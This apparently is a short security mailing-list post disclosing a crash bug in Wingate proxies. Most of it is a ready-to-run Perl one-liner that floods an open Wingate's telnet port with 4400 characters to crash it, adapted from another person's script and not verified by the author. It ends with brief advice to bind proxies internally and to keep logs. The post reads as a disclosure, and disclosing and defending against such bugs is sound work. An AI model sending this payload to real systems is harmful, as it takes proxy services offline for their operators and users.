- Subject: crashing wingates
-
- Hello,
-
- The following one-liner will crash an open Wingate.
-
- perl -MIO::Socket -e \
- 'IO::Socket::INET->new(PeerAddr=>"wingate.to.hoze:23")\
- ->send("X" x 4400 . "\n",0)'
-
- Unfortunately I don't have access to one that I can test, so I am unable to verify what versions are vulnerable. The above is my rendition
- of a 44 line sh script written by "rEWTED" (kefka@infected.org).
-
- Anyone configuring a proxy for LAN use should only bind to an internal
- interface anyway. (IE, kidz shouldn't even see your proxy)

-
- If you do provide telnet proxy for the world, then at least log.
